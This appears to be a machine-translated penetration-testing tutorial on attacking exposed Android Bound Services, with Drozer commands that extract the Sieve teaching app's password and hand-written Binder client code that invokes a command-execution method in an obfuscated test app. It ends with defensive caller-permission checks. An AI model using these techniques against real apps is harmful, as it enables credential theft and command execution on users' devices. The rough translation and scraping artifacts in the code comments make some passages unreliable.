2016/03/15 11:04
0 x00 probe,
Last December, [1] explained how to attack Android Bound Service. We provided a tool to recover AIDL files from APK packages and use AIDL to write an attack Client for Bound Service. Thanks to this article, the author also found similar vulnerabilities in the actual test work, but the process was somewhat tortuous. As a white hat, AIDL files are often difficult to retrieve or recover directly. This makes Bound Services difficult to defend, so it takes a more systematic approach to testing Bound Sercive, with patience and a bit of luck, to discover such vulnerabilities. Based on [1], this article will share the experience of this type of vulnerability and further explain the Bound Service attack.
0x01 Bound Service Description
Bound Service provides a binder-based cross-process invocation (IPC) mechanism that implements the OnBind method in its Service class and returns an IBinder object for IPC. There are three ways to implement Bound Service, according to official documentation [2] :
- Inherit the Binder class
- Use the Messenger
- Use AIDL
Since the first method is primarily used within the same process, we will focus on the latter two cases. As long as the Bound Service is exposed, malicious apps can be written to communicate across processes via Messenger and the AiDL-based Bound Service. Passing in contaminated data or directly invoking the functions of the attacked application ultimately has an unintended impact on security.
0 x02 attack the Messenger
Messenger is a lightweight IPC solution whose underlying implementation is also based on AIDL, with some traces of Binder visible in the two constructors of Android.os. Messenger.
#! java /** 36 * Create a new Messenger pointing to the given Handler. Any Message 37 * objects sent through this Messenger will appear in the Handler as if 38 *[email protected] Handler#sendMessage(Message) Handler.sendMessage(Message)} had
39 * been called directly.
40 *
41 * @param target The Handler that will receive sent messages.
42 */
43 public Messenger(Handler target) {
44 mTarget = target.getIMessenger();
45 }
/**
140 * Create a Messenger from a raw IBinder, which had previously been
141 * retrieved with [email protected]#getBinder}. 142 * 143 * @param target The IBinder this Messenger should communicate with. 144 */ 145 public Messenger(IBinder target) { 146 mTarget = IMessenger.Stub.asInterface(target); 147}Copy the code
A typical implementation of a Service using Messenger would have an inner class that inherits from Handler to handle messages sent by the client. The test would be to check Handler’s handleMessage method, Observe how the targeted application reacts after sending a specific Message. The Sieve program for vulnerability teaching in Drozer gives a practical example.
The Sieve exposes two services, both of which use Messenger for cross-process communication
#! bash dz> run app.service.info -a com.mwr.example.sieve Package: com.mwr.example.sieve com.mwr.example.sieve.AuthService Permission: null com.mwr.example.sieve.CryptoService Permission: nullCopy the code
Look at the handleMessage method of AuthService
#! java public void handleMessage(Message msg) { ... Bundle v8 = null; int v7 = 9234; int v6 = 7452; AuthService.this.responseHandler = msg.replyTo; Object v2 = msg.obj; switch(msg.what) { case 4: { //Check if pin and password are set } case 2354: { if(msg.arg1 == v6) { //Return pin Requires password from Bundle } else if(msg.arg1 == v7) { //Return password Requires Pin from Bundle!! v1 = 41; if(AuthService.this.verifyPin(((Bundle)v2).getString("com.mwr.example.sieve.PIN")) ) { v2_1 = new Bundle(); v2_1.putString("com.mwr.example.sieve.PASSWORD", AuthService.this.getKey()); v3 = 0; }... this.sendResponseMessage(5, v1, v3, v2_1); return; label_57: this.sendUnrecognisedMessage(); break; } case 6345: { if(msg.arg1 == v6) { //Set Password Requires Current Password from Bundle v1 = 42; v3 = AuthService.this.setKey(((Bundle)v2).getString("com.mwr.example.sieve.PASSWORD")) ? 0:1; } else if(msg.arg1 == v7) { //Set Pin Requires Current Pin from Bundle v1 = 41; v3 = AuthService.this.setPin(((Bundle)v2).getString("com.mwr.example.sieve.PIN")) ? 0:1; } else { goto label_99; } this.sendResponseMessage(4, v1, v3, v8); return;Copy the code
The AuthService performs different actions depending on what the Message object is passed in. Notice that if the Message object’s what is 2354 and arg1 is 9234, the primary password that the Sieve uses can be returned if the current PIN is correct. Drozer provides the app.service.send module, which makes it easy to test messenger-based cross-process communication.
#! bash dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 0 --extra string com.mwr.example.sieve.PIN 1234 --bundle-as-obj Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService: what: 5 arg1: 41 arg2: 0 Extras com.mwr.example.sieve.PASSWORD (String) : passw0rd123123123Copy the code
If the PIN is incorrect, only the currently passed PIN is returned
#! bash dz> run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --msg 2354 9234 33333 --extra string com.mwr.example.sieve.PIN 2344 --bundle-as-obj Got a reply from com.mwr.example.sieve/com.mwr.example.sieve.AuthService: what: 5 arg1: 41 arg2: 1 Extras com.mwr.example.sieve.PIN (String) : 2344Copy the code
Since the PIN has only four bits, a program can be written to take advantage of the difference between the two results. Another CryptoService also has similar vulnerabilities. It can be used to decrypt passwords by passing in specific Message objects and performing encryption and decryption operations. See [3] for details.
0x03 Attacks Bound Service based on AIDL
Literature [1] describes a Bound Service with command execution vulnerability, generates AIDL interface files according to the APK of the Bound Service, and writes attack programs to invoke the command execution methods in the Bound Service. However, the utility that generates AIDL files mainly crawls from the stub.proxy class in smali files, and when APK is confused, it cannot generate AIDL files correctly. For example, we configure the minifyEnabledtrue switch in build.gradle to true, using Android Studio’s default obfuscations rules. Reverse comparison of confused apK and unconfused APK using JEB is shown below
The obfuscated APK has much less information about AIDL and no Stub Proxy features, causing the GenerateAIDL tool implemented in the following code to fail
#! java if (descriptorToDot(interfaces.first()).equals(IINTERFACE_CLASS)) { /* Now grab the Stub.Proxy, to get the protocols */ String stubProxyName = className + ".Stub.Proxy"; DexBackedClassDef stubProxyDef = getStubProxy(classDefs, stubProxyName); if (stubProxyDef == null) { System.err.println("[ERROR] Unable to find Stub.Proxy for class: " + stubProxyName + ", Skiping!" ); continue; }Copy the code
Since AIDL files are essentially just a quick tool for Binder implementation provided by the SDK, it is possible to implement a Binder approach without relying on AIDL files, which is most often the case during actual penetration testing. Below, we combine apK with vulnerability confusion to illustrate.
After executing the command, we can write a Client to Bind the Service for testing.
First, you can declare an AIDL-like interface that directly copies JEB’s INTERFACE A, which inherits IInterface, with an A method.
#! java // in fact a is TestInterface public interface a extends IInterface { static final String DESCRIPTOR = "com.jakev.boundserver.aidl.TestInterface"; String a(String arg1) throws RemoteException; }Copy the code
Next, write Stub and internal class Proxy to implement interface A. You can refer to the code generated by the system and adjust the structure slightly to make it clear. Note that method A must be implemented in the Proxy class, passing in the code of the remote call as 1, packaging the data and writing it as a string parameter in method A.
#!java
public class Stub extends Binder implements a {
/** Construct the stub at attach it to the interface. */
public Stub() {
super();
this.attachInterface(this, DESCRIPTOR);
}
/** Cast an IBinder object into an TestInterface(a) interface,
* generating a proxy if needed
*/
public static a asInterface(IBinder obj) {
if (obj == null) {
return null;
}
IInterface iin = obj.queryLocalInterface(DESCRIPTOR);
if(((iin != null) && (iin instanceof a))) {
return (a)iin;
}
return new Stub.Proxy(obj);
}
public IBinder asBinder() {
return this;
}
public boolean onTransact(int code, Parcel data, Parcel reply, int flag) throws RemoteException{
boolean v0 = true;
switch(code) {
case 1: {
data.enforceInterface(DESCRIPTOR);
String v1 = this.a(data.readString());
reply.writeNoException();
reply.writeString(v1);
break;
}
case 1598968902: {
reply.writeString(DESCRIPTOR);
break;
}
default: {
v0 = super.onTransact(code, data, reply, flag);
break;
}
}
return v0;
}
public String a(String cmd) throws RemoteException {
// Server do not have to implement this method, just return null
return null;
}
private static class Proxy implements a {
private IBinder mRemote;
Proxy(IBinder remote) {
mRemote = remote;
}
@Override
public IBinder asBinder() {
return mRemote;
}
public String getInterfaceDescriptor() {
return DESCRIPTOR;
}
@Override
public String a(String cmd) throws RemoteException{
String result = null;
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
try {
data.writeInterfaceToken(DESCRIPTOR);
data.writeString(cmd);
mRemote.transact(1, data, reply, 0);
reply.readException();
result = reply.readString();
}
finally {
reply.recycle();
data.recycle();
}
return result;
}
}
}
Copy the code
Finally, write an Activity that attacks the app, in which bind the vulnerable Service
#! java mServiceConnection = new myServiceConnection(); Intent i = new Intent(); i.setClassName("com.jakev.boundserver", "com.jakev.boundserver.ITestService"); boolean ret = bindService(i, mServiceConnection, BIND_AUTO_CREATE);Copy the code
Call the a method in the ServiceConnection callback function
#!java
public void onServiceConnected(ComponentName name, IBinder service) {
Log.d(TAG, "OnServiceConnected ");
String command = editCommand.getText().toString();
try {
a mTestService = Stub.asInterface(service);
String result = mTestService.a(command);
Log.d(TAG, "exec result is:" + result);
txtResult.setText(result);
} catch (RemoteException e) {
e.printStackTrace();
}
}
Copy the code
The attack effects are as follows
At this point, we are done attacking Bound Service without relying on AIDL files.
0x05 Attacks registered system services
You can use the ADB shell Service List to view the system service names and IBinder interfaces registered in the Context Manager (or Servicemanager).
These services also expose potential vulnerabilities. Clients can be written to obtain a reference to a Binder object by the service name to invoke the service’s functionality or pass in tainted data.
#! java sp<IServiceManager> sm = defaultServiceManager(); sp<IBinder> binder = sm->getService(String16("demo")); //demo is Service Name sp<IDemo> ServiceName = interface_cast<IDemo>(binder);Copy the code
After Parcel object data is constructed, system services can be invoked using Binder -> Transact (int Code, Parcel Data, Parcel Reply, int Flag). Or in the case of service implementation source code, directly through ServcieName->ServiceMethod() call system service implementation method, see [4] for details.
Under normal circumstances, system services have strict permission check mechanism, vulnerability is rare, but there are cases. For example, Samsung mobile phones can freely access RILD interface (which can remove the soft limitation of customized computer network standard). In POC, the author gives two ways to access ITelephony service sendOemRilRequestRaw interface (Java and C).
0 x06 defense
In addition to adding Signature’s level of protection to exposed services in the Manifest file, Binder provides a more flexible way to validate them
- Use the Binder static methods getCallingPid or getCallingUid to verify the identity of the IPC caller. After obtaining the caller’S UID, Can be used to further PackageManager. GetPackagesForUid (int uid) to get the caller’s package name, Then use the PackageManager. GetPackageInfo (String Packagename, int flag) check whether to have appropriate permissions (using the PackageManager. GET_PERMISSIONS flag)
- In the Service’s OnBind method invocation Context. CheckCallingPermission (String permission) or checkCallingPermissionOrSelf (String permission) Method to verify that the IPC caller has specified permissions, also for Messenger;
- Using the Context. EnforceCallingPermission (String permission, String message), if the caller does not have permissions, automatic SecurityException
0x07 References
- 【 1 】 : blog.thecobraden.com/2015/12/att…
- 【 2 】 : developer.android.com/guide/compo…
- [3] : The Mobile Application Hackers Handbook
- [4] : ebixio.com/blog/2012/0…